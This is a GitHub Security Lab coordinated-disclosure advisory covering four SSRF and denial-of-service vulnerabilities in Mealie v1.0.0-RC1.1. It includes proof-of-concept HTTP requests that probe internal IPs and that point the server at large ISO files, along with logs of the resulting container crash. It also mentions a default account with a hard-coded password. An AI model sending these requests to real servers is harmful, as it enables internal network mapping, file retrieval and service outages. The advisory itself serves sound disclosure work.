skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
April 12, 2024

GHSL-2023-225, GHSL-2023-226, GHSL-2023-227, and GHSL-2023-228: Server-Side Request Forgery (SSRF) and Denial of Service (DoS) in Mealie - CVE-2024-31991, CVE-2024-31992, CVE-2024-31993, CVE-2024-31994

GitHub Security Lab

Coordinated Disclosure Timeline

Summary

Mealie v1.0.0-RC1.1 is vulnerable to multiple SSRF and DoS vulnerabilities. These vulnerabilities can be leveraged to identify, map, and retrieve the contents of webservers on Mealie’s local network as well as being the victim of, or launching point for, a denial of service attack against a target of the attacker’s choice.

Project

Mealie

Tested Version

v1.0.0-RC1.1

Details

Issue 1: GET-based SSRF in recipe importer (GHSL-2023-225)

The safe_scrape_html function utilizes a user-controlled URL to issue a request to a remote server. Based on the content of the response, it will either parse the content or disregard it. This function, nor those that call it, add any restrictions on the URL that can be provided, nor is it restricted to being an FQDN (i.e., an IP address can be provided).

As this function’s return will be handled differently by its caller depending on the response, it is possible for an attacker to use this functionality to positively identify HTTP(s) servers on the local network with any IP/port combination. A successful (i.e., any) response from the target URL, but one that does not provide a valid recipe, will throw a user-facing 400 error:

 if not new_recipe:
        raise HTTPException(status.HTTP_400_BAD_REQUEST, {"details": ParserErrors.BAD_RECIPE_DATA.value})

An unsuccessful response (i.e., no response from the target/timeout) will result in a 500 error being returned due to an underlying exception being thrown.

While these are not exposed in the UI, it is possible to POST directly to the create-url API endpoint to elicit the response.

Requesting a non-existent resource:

POST /api/recipes/create-url HTTP/1.1
Host: <mealie_host>:9925
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 47
Origin: http://<mealie_host>:9925
DNT: 1
Connection: close
Cookie: i18n_redirected=en-US; mealie.auth.strategy=local; mealie.auth._token.local=Bearer%20<token>; mealie.auth._token_expiration.local=1700837039000
Sec-GPC: 1

{"url":"http://foo.bar/baz","includeTags":false}
HTTP/1.1 500 Internal Server Error
date: Wed, 22 Nov 2023 14:47:01 GMT
server: uvicorn
content-length: 21
content-type: text/plain; charset=utf-8
connection: close

Internal Server Error

Making a request to a webserver on the same private network:

POST /api/recipes/create-url HTTP/1.1
Host: <mealie_host>:9925
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 47
Origin: http://<mealie_host>:9925
DNT: 1
Connection: close
Cookie: i18n_redirected=en-US; mealie.auth.strategy=local; mealie.auth._token.local=Bearer%20<token>; mealie.auth._token_expiration.local=1700837039000
Sec-GPC: 1

{"url":"http://10.0.0.1:9001","includeTags":false}
HTTP/1.1 400 Bad Request
date: Wed, 22 Nov 2023 14:48:43 GMT
server: uvicorn
content-length: 40
content-type: application/json
connection: close

{"detail":{"details":"BAD_RECIPE_DATA"}}

This was identified with CodeQL’s Full server-side request forgery query.

Impact

This issue can result in any authenticated user being able to map HTTP servers on a local network that the Mealie service has access to. Note that by default any user can create an account on a Mealie server, and that the default changeme@example.com user is available with its hard-coded password.

Resources

Issue 2: DoS vulnerability in recipe importer (GHSL-2023-226)

The safe_scrape_html function utilizes a user-controlled URL to issue a request to a remote server, however these requests are not rate-limited.

While there are efforts to prevent DDoS by implementing a timeout on requests, it is possible for an attacker to issue a large number of requests to the server which will be handled in batches based on the configuration of the Mealie server.

The chunking of responses is helpful for mitigating memory exhaustion on the Mealie server, however a single request to an arbitrarily large external file (e.g. a Debian ISO) is often sufficient to completely saturate a CPU core assigned to the Mealie container. Without rate limiting in place, it is possible to not only sustain traffic against an external target indefinitely, but also to exhaust the CPU resources assigned to the Mealie container.

Send a request to download a Debian ISO:

POST /api/recipes/create-url HTTP/1.1
Host: <mealie_host>:9925
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 47
Origin: http://<mealie_host>:9925
DNT: 1
Connection: close
Cookie: i18n_redirected=en-US; mealie.auth.strategy=local; mealie.auth._token.local=Bearer%20<token>; mealie.auth._token_expiration.local=1700837039000
Sec-GPC: 1

{"url":"https://saimei.ftp.acc.umu.se/debian-cd/current/amd64/iso-cd/debian-12.2.0-amd64-netinst.iso","includeTags":false}

Observe impact on the container’s CPU utilization (capped at 1 worker/1 web concurrency):

737e59e3edb2   mealie                100.98%   189.8MiB / 1000MiB    18.98%    11.1MB / 1.4MB    262MB / 254kB     8

Increase workers/web concurrency to 4 and send multiple concurrent requests:

05be1d018e00   mealie                400.12%   613.1MiB / 1000MiB    61.31%    39MB / 265kB      241MB / 0B        28

These requests will eventually return a 408, however they can be sustained indefinitely and can also be queued server-side if more than 10 concurrenct requests are received by the server.

Impact

This issue can result in any authenticated user being able to exhaust the CPU resources available to the Mealie container as well as sustaining network traffic to a target of their choice indefinitely. Note that by default any user can create an account on a Mealie server, and that the default changeme@example.com user is available with its hard-coded password.

Resources

Issue 3: GET-based SSRF in recipe image importer (GHSL-2023-227)

The scrape_image function will retrieve an image based on a user-provided URL, however the provided URL is not validated to point to an external location and does not have any enforced rate limiting.

The response from the Mealie server will also vary depending on whether or not the target file is an image, is not an image, or does not exist.

Request a resource (file or directory) that does not exist:

POST /api/recipes/foo/image HTTP/1.1
Host: <mealie_host>:9925
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 102
Connection: close
Cookie: i18n_redirected=en-US; mealie.auth.strategy=local; mealie.auth._token.local=Bearer%20<token>; mealie.auth._token_expiration.local=1700837039000

{"url":"http://10.0.0.1/foo"}

The response will be null:

HTTP/1.1 200 OK
date: Wed, 22 Nov 2023 15:22:53 GMT
server: uvicorn
content-length: 4
content-type: application/json
connection: close

null

Response for a resource (file or directory, e.g. /foo or /foo/) that does exist but is not an image:

HTTP/1.1 400 Bad Request
date: Wed, 22 Nov 2023 15:23:51 GMT
server: uvicorn
content-length: 74
content-type: application/json
connection: close

{"detail":{"message":"Url is not an image","error":true,"exception":null}}

Additionally, when a file is retrieved the file may remain stored on Mealie’s file system as original.jpg under the UUID of the recipe it was requested for. If the attacker has access to an admin account (e.g. the default changeme@example.com), this file can then be retrieved by generating and downloading a backup from http(s)://<mealie_host>:<port>/admin/backups/.

Note that if Mealie is running in a development setting this could be leveraged by an attacker to retrieve any file that the Mealie server had downloaded in this fashion without the need for administrator access.

This was identified with CodeQL’s Partial server-side request forgery query.

Impact

This permits an attacker to make arbitrary GET requests on a private network and brute-force map the contents of any HTTP server on the local network of Mealie, and (depending on the level of access) retrieve files accessible on the private network using the Mealie server as a proxy.

Resources

Issue 4: DoS in recipe image importer (GHSL-2023-228)

Importing an image into a recipe does not have restrictions on the locations an image can be requested from, and provides a user-facing error that can be used to verify whether or not the target URL (image or otherwise) exists at the location specified. Paired with a lack of rate limiting, this permits an attacker to fully map any HTTP server on the private network that Mealie has access to. This can also be used to retrieve arbitrary files from other HTTP servers (local, or remote) and later download them to the attacker’s machine if they are able to gain administrator access to the Mealie application. Additionally, as there is no rate limiting or enforced timeout, it is possible for an attacker to cause the Mealie server to crash due to memory exhaustion by pointing it to an arbitrarily large file (e.g. a Linux ISO with a size greater than the assigned memory for the Mealie container). This also allows an attacker to maintain multiple, looping, concurrent requests to any target of their choice assuming the response is not significantly large to crash Mealie.

Unlike the safe_scrape_html function, the scrape_image function does not have any associated timeouts, nor is the requested content chunked to reduce resource utilization.

As a result of this, an attacker can point the image request to an arbitrarily large file. Mealie will attempt to retrieve this file in whole. If it can be retrieved, it may be stored on the file system in whole (leading to possible disk consumption), however the more likely scenario given resource limitations is that the container will OOM during file retrieval if the target file size is greater than the allocated memory of the container. At best this can be used to force the container to infinitely restart due to OOM (if so configured in `docker-compose.yml), or at worst this can be used to force the Mealie container to crash and remain offline.

In the event that the file can be retrieved, the lack of rate limiting on this endpoint also permits an attacker to generate ongoing requests to any target of their choice, potentially contributing to an external-facing DoS attack.

Request an arbitrarily large file:

POST /api/recipes/foo/image HTTP/1.1
Host: <mealie_host>:9925
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 114
Connection: close
Cookie: i18n_redirected=en-US; mealie.auth.strategy=local; mealie.auth._token.local=Bearer%2<token>; mealie.auth._token_expiration.local=1700837039000

{"url":"https://mirror.umd.edu/opensuse/tumbleweed/iso/openSUSE-Tumbleweed-DVD-x86_64-Snapshot20231121-Media.iso"}

Monitor Mealie’s container stats & logs and watch the crash and subsequent restart:

aa2d30ab322f   mealie                64.19%    993.3MiB / 1000MiB    99.33%    2.36GB / 12.1MB   1.81GB / 5.21GB   9
aa2d30ab322f   mealie                64.19%    993.3MiB / 1000MiB    99.33%    2.36GB / 12.1MB   1.81GB / 5.21GB   9
aa2d30ab322f   mealie                64.83%    998.2MiB / 1000MiB    99.82%    2.41GB / 12.3MB   1.81GB / 5.3GB    9
aa2d30ab322f   mealie                64.83%    998.2MiB / 1000MiB    99.82%    2.41GB / 12.3MB   1.81GB / 5.3GB    9
aa2d30ab322f   mealie                0.00%     9.445MiB / 1000MiB    0.94%     176B / 0B         22.7MB / 0B       3
aa2d30ab322f   mealie                0.00%     9.445MiB / 1000MiB    0.94%     176B / 0B         22.7MB / 0B       3
aa2d30ab322f   mealie                89.35%    14.89MiB / 1000MiB    1.49%     646B / 0B         67.2MB / 0B       3
mealie    | INFO: 22-Nov-23 07:00:16 	HTTP Request: GET https://mirror.umd.edu/opensuse/tumbleweed/iso/openSUSE-Tumbleweed-DVD-x86_64-Snapshot20231121-Media.iso "HTTP/1.1 200 OK"
mealie    | INFO:     127.0.0.1:41980 - "GET /api/app/about HTTP/1.1" 200 OK
mealie    | Killed
mealie    | INFO: 22-Nov-23 07:00:43 	Database connection established.
mealie    | INFO: 22-Nov-23 07:00:43 	Context impl SQLiteImpl.

Similar to requests made to /api/recipes/create-url, multiple requests can be performed to accelerate this impact and reduce the time to failure/increase the relevant load.

Impact

This issue may lead to a denial of service to Mealie, or potentially an external target.

Resources

CVE

Credit

These issues were discovered and reported by GHSL team member @maclarel (Logan MacLaren).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-225, GHSL-2023-226, GHSL-2023-227, or GHSL-2023-228 in any communication regarding these issues.